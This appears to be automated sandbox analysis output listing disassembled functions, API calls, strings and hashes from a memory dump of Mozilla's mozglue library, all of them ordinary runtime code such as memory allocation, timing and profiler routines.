String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 70a1be703a02af6df98791a784be13c71a5d525f1c2b20087ca7538a9c356ec4
Instruction ID: 6a1656a2faf969033ae06076eda4606af3c72a53ea480d86065bcaa933f2c1a7
Opcode Fuzzy Hash: 70a1be703a02af6df98791a784be13c71a5d525f1c2b20087ca7538a9c356ec4
Instruction Fuzzy Hash: 1221F6716041049BDF01DF2ADC48AAA77B9EF8636EFA44210FD1497F41DB31D8168BAE

Function 6C618ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5DEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C61B392,?,?,00000001), ref: 6C6191F4

Part of subcall function 6C60CBE8: GetCurrentProcess.KERNEL32(?,6C5D31A7), ref: 6C60CBF1
Part of subcall function 6C60CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5D31A7), ref: 6C60CBFA

Strings

timeline-ipc, xrefs: 6C619096
name, xrefs: 6C618F16
marker-chart, xrefs: 6C61905E
data, xrefs: 6C6190E8
stack-chart, xrefs: 6C6190B2
timeline-fileio, xrefs: 6C6190A4
marker-table, xrefs: 6C61906C
timeline-overview, xrefs: 6C61907A
timeline-memory, xrefs: 6C619088

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: fb56c41b65d5e105f2663061bc032590cb921bc1721f00b6f02d830517bcadf7
Instruction ID: 50f659b3ae74c031d584d068a7a3c2a133b141ec3ff5543edbc0b85253ab959f
Opcode Fuzzy Hash: fb56c41b65d5e105f2663061bc032590cb921bc1721f00b6f02d830517bcadf7
Instruction Fuzzy Hash: B5B1D3B1A04209DBDB04CF98C8917EEBBB6AF85319F608019D402ABF80D771ED44CBD9

Function 6C5FC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5FC5A3
WideCharToMultiByte.KERNEL32 ref: 6C5FC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5FC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C5FCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5FCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FCAA5

Strings

0, xrefs: 6C5FD30A
(null), xrefs: 6C5FC596

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 3d40baa6eccdc83b3afbedcfa6ddd471405385cd4749e11c038477b5f8197ae8
Instruction ID: 77fec1d1f78ecf1b974832e6b75ac76c7fffb63a22507b34b03b71bcfa9b0df6
Opcode Fuzzy Hash: 3d40baa6eccdc83b3afbedcfa6ddd471405385cd4749e11c038477b5f8197ae8
Instruction Fuzzy Hash: 71A1A23060C3429FDB15DF29C98475ABBF1AF89748F04882DE9AA97741D771E806CF86

Function 6C5D3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C5D3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C5D34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C5D34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C5D350E
__Init_thread_footer.LIBCMT ref: 6C5D3522
__aulldiv.LIBCMT ref: 6C5D3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C5D357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C5D3592

Part of subcall function 6C60AB89: EnterCriticalSection.KERNEL32(6C65E370,?,?,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284), ref: 6C60AB94
Part of subcall function 6C60AB89: LeaveCriticalSection.KERNEL32(6C65E370,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C60ABD1

Strings

kernel32.dll, xrefs: 6C5D34EA
GetSystemTimePreciseAsFileTime, xrefs: 6C5D3508

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: ec014fe6a51b10e2f2ed784994da234df64d401dc57e17eb5ac092d4f2f37f9d
Instruction ID: ff6c90751ecf899f450b2ba8a89e7fe0e4718e82eb8efba589af9a66fba505de
Opcode Fuzzy Hash: ec014fe6a51b10e2f2ed784994da234df64d401dc57e17eb5ac092d4f2f37f9d
Instruction Fuzzy Hash: 8E31C471B012059BDF04DFBACD98AAE77B5FB86304F650419E501E3690EB70A905CF69

Function 6C5D4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C614843,?), ref: 6C5D45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C614843,?), ref: 6C5D468A
free.MOZGLUE(?,?,?,?,?,?,6C614843,?), ref: 6C5D46C9
free.MOZGLUE(?), ref: 6C5D46EF
free.MOZGLUE(?), ref: 6C5D4712
free.MOZGLUE(?), ref: 6C5D4735
free.MOZGLUE(?), ref: 6C5D4758
free.MOZGLUE(?), ref: 6C5D477B
free.MOZGLUE(?), ref: 6C5D479E

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 04a0f89a75f7084f9cb8e751e35cbe04ed369c8ddec99c522680bfbed1277674
Instruction ID: 6b4d7400da3f025c1cc641b2b122a39e568db534936918d755deeba5f8b02fb1
Opcode Fuzzy Hash: 04a0f89a75f7084f9cb8e751e35cbe04ed369c8ddec99c522680bfbed1277674
Instruction Fuzzy Hash: 94B1E571A002508FDB18CF3CDC9076D77A2AF81328F1A4669E416DBB96E731EC80CB85

Function 6C63AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C63AC52
CreateFileMappingW.KERNEL32 ref: 6C63AC7D
GetSystemInfo.KERNEL32 ref: 6C63AC98
MapViewOfFile.KERNEL32 ref: 6C63ACB0
GetSystemInfo.KERNEL32 ref: 6C63ACCD
MapViewOfFile.KERNEL32 ref: 6C63AD05
UnmapViewOfFile.KERNEL32 ref: 6C63AD1C
CloseHandle.KERNEL32 ref: 6C63AD28
UnmapViewOfFile.KERNEL32 ref: 6C63AD37
CloseHandle.KERNEL32 ref: 6C63AD43
CloseHandle.KERNEL32 ref: 6C63AD67

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 6b6aafb14f3f12747100b532e4d15c2d391ebb5557f61946f06a7e3f2e8b80c7
Instruction ID: ddc07e36fd5e50f32547a8b0577775114b9e7bcfdb4c27cac3422107b737a387
Opcode Fuzzy Hash: 6b6aafb14f3f12747100b532e4d15c2d391ebb5557f61946f06a7e3f2e8b80c7
Instruction Fuzzy Hash: C03172B1A047048FDB00EFBDD68826EBBF0FF85305F55992DE98997211EB709449CB86

Function 6C5E9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C5E9675
__Init_thread_footer.LIBCMT ref: 6C5E9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5E96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C5E9707
__Init_thread_footer.LIBCMT ref: 6C5E971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5E9773

Part of subcall function 6C60AB89: EnterCriticalSection.KERNEL32(6C65E370,?,?,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284), ref: 6C60AB94
Part of subcall function 6C60AB89: LeaveCriticalSection.KERNEL32(6C65E370,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C60ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5E97B7
FreeLibrary.KERNEL32 ref: 6C5E97D0
FreeLibrary.KERNEL32 ref: 6C5E97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5E9824

Strings

ntdll.dll, xrefs: 6C5E96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C5E9670
NtMapViewOfSection, xrefs: 6C5E9701
MapViewOfFileNuma2, xrefs: 6C5E97B1

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 7af31bd9d1caf05ab38784b412d37af4710e2c9cb3fca5ffac36798e92e72cfb
Instruction ID: 152b3323a961b0a00fb16486163bcb58ca1ba9b152b148bacdbeedcefa109258
Opcode Fuzzy Hash: 7af31bd9d1caf05ab38784b412d37af4710e2c9cb3fca5ffac36798e92e72cfb
Instruction Fuzzy Hash: F541ADB17002069FDF00DFA6ECD4E967BB4EB4A364FA04128ED0597740D730A818CFAA

Function 6C5E7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5E7EA7
malloc.MOZGLUE(00000001), ref: 6C5E7EB3

Part of subcall function 6C5ECAB0: EnterCriticalSection.KERNEL32(?), ref: 6C5ECB49
Part of subcall function 6C5ECAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C5ECBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C5E7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C5E7F19
malloc.MOZGLUE(?), ref: 6C5E7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5E7F4D

Strings

d, xrefs: 6C5E7F89

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 2a68721bfaa8e7b709f53d2847900d699ad40fcf4c1b8e3b5eed4650bc069330
Instruction ID: 6daefe3bf2379c1b41a40a69757f2ed44dc9c9215d8dcfffa6fad5e915e2f03b
Opcode Fuzzy Hash: 2a68721bfaa8e7b709f53d2847900d699ad40fcf4c1b8e3b5eed4650bc069330
Instruction Fuzzy Hash: 6B31F871E0434897DF01DB69CC449FEB778EF96208F44D229ED4957612FB31A988C398

Function 6C629D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C628273), ref: 6C629D65
free.MOZGLUE(6C628273,?), ref: 6C629D7C
free.MOZGLUE(?,?), ref: 6C629D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C629E0F
free.MOZGLUE(6C62946B,?,?), ref: 6C629E24
free.MOZGLUE(?,?,?), ref: 6C629E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C629EC8
free.MOZGLUE(6C62946B,?,?,?), ref: 6C629EDF
free.MOZGLUE(?,?,?,?), ref: 6C629EF5

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 5d141aee42f8c1154796d9e2e23562edd1078d788eb338edd3e5fabbb475a7e0
Instruction ID: e92143d601f4e33e888a683d0d706c4ab2d534824c9a275faa4438dbfc869fb7
Opcode Fuzzy Hash: 5d141aee42f8c1154796d9e2e23562edd1078d788eb338edd3e5fabbb475a7e0
Instruction Fuzzy Hash: C771BE70909B41CBC716CF18C88055AF7F5FFD9318B809A59E99A5BB01EB30E886CF81

Function 6C62DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C62DDCF

Part of subcall function 6C60FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C60FA4B

Part of subcall function 6C6290E0: free.MOZGLUE(?,00000000,?,?,6C62DEDB), ref: 6C6290FF
Part of subcall function 6C6290E0: free.MOZGLUE(?,00000000,?,?,6C62DEDB), ref: 6C629108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C62DE0D
free.MOZGLUE(00000000), ref: 6C62DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C62DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C62DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C62DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C61DEFD,?,6C5E4A68), ref: 6C62DF32

Part of subcall function 6C62DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C62DB86
Part of subcall function 6C62DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C62DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C61DEFD,?,6C5E4A68), ref: 6C62DF65
free.MOZGLUE(?), ref: 6C62DF80

Part of subcall function 6C5F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5F5EDB
Part of subcall function 6C5F5E90: memset.VCRUNTIME140(ewcl,000000E5,?), ref: 6C5F5F27
Part of subcall function 6C5F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5F5FB2

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 22314e3db5143f6fa7167c526437430d82270389a31a800d9f90b5e8a20b0319
Instruction ID: 84673341253f0ce5c9103d1259b7aa0491cdf0cea04f70ca848b03d34337e562
Opcode Fuzzy Hash: 22314e3db5143f6fa7167c526437430d82270389a31a800d9f90b5e8a20b0319
Instruction Fuzzy Hash: 1251C5726016019BD720DB28C8806EEB3B2BFD6308F95451CD99A53B00D739F91ACF8E

Function 6C635D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C635C8C,?,6C60E829), ref: 6C635D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C635C8C,?,6C60E829), ref: 6C635D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C635C8C,?,6C60E829), ref: 6C635D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C635C8C,?,6C60E829), ref: 6C635D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C635C8C,?,6C60E829), ref: 6C635DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C635C8C,?,6C60E829), ref: 6C635DC9
std::_Facet_Register.LIBCPMT ref: 6C635DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C635C8C,?,6C60E829), ref: 6C635E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C635C8C,?,6C60E829), ref: 6C635E45

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 9e98bfeade210b84deb3c76ef6abedc088370e1b1dd642fab251f4f73ab9cdee
Instruction ID: 0f614f6ce7983ee76c808223fd4fe8afe700b2de1f336471ab415d64ed617857
Opcode Fuzzy Hash: 9e98bfeade210b84deb3c76ef6abedc088370e1b1dd642fab251f4f73ab9cdee
Instruction Fuzzy Hash: F5416C307002159FCB04DF66C8D8AAE77F5EF89318F545168E50A9B791EB34E805CBAD

Function 6C60CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C5D31A7), ref: 6C60CDDD

Strings

<jemalloc>, xrefs: 6C60CF9F, 6C60CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C60CFA4, 6C60CFB8

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 1eb2a61420fc0e89842d5f827330b60f09bdaa22fa024cf4a8ea58d845c73b3b
Instruction ID: 973a96298734e7b0bef77ef334e780561bb1ca0ae2168f629a6c4a96bf8108ee
Opcode Fuzzy Hash: 1eb2a61420fc0e89842d5f827330b60f09bdaa22fa024cf4a8ea58d845c73b3b
Instruction Fuzzy Hash: 6F31A4307402056BEF18AFA98D85BAE7B75AF81758F704014F612BBA80DB70D501CBBE

Function 6C5DECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DF100: LoadLibraryW.KERNEL32(shell32,?,6C64D020), ref: 6C5DF122
Part of subcall function 6C5DF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5DF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C5DED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5DEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C5DEDCC
CreateFileW.KERNEL32 ref: 6C5DEE08
free.MOZGLUE(00000000), ref: 6C5DEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C5DEE32

Part of subcall function 6C5DEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C5DEBB5
Part of subcall function 6C5DEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C60D7F3), ref: 6C5DEBC3
Part of subcall function 6C5DEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C60D7F3), ref: 6C5DEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C5DEDC1

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 0c1ead24e0fbe7ed0fd6519ad3422a38af6a8d777d4cfd3c39c69cb08cf8cfee
Instruction ID: b16a77972cfc94c6aae75c994df6a28742b7824e567fd348577d68d48020b852
Opcode Fuzzy Hash: 0c1ead24e0fbe7ed0fd6519ad3422a38af6a8d777d4cfd3c39c69cb08cf8cfee
Instruction Fuzzy Hash: E351BF71D05305CBDB00EF69CC806AEF7B1EF49318F45892DD8556B740EB70B9488BAA

Function 6C64A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C64A565

Part of subcall function 6C64A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64A4BE
Part of subcall function 6C64A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C64A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C64A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C64A6B6

Strings

0, xrefs: 6C64A5FB
z, xrefs: 6C64A6AE

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

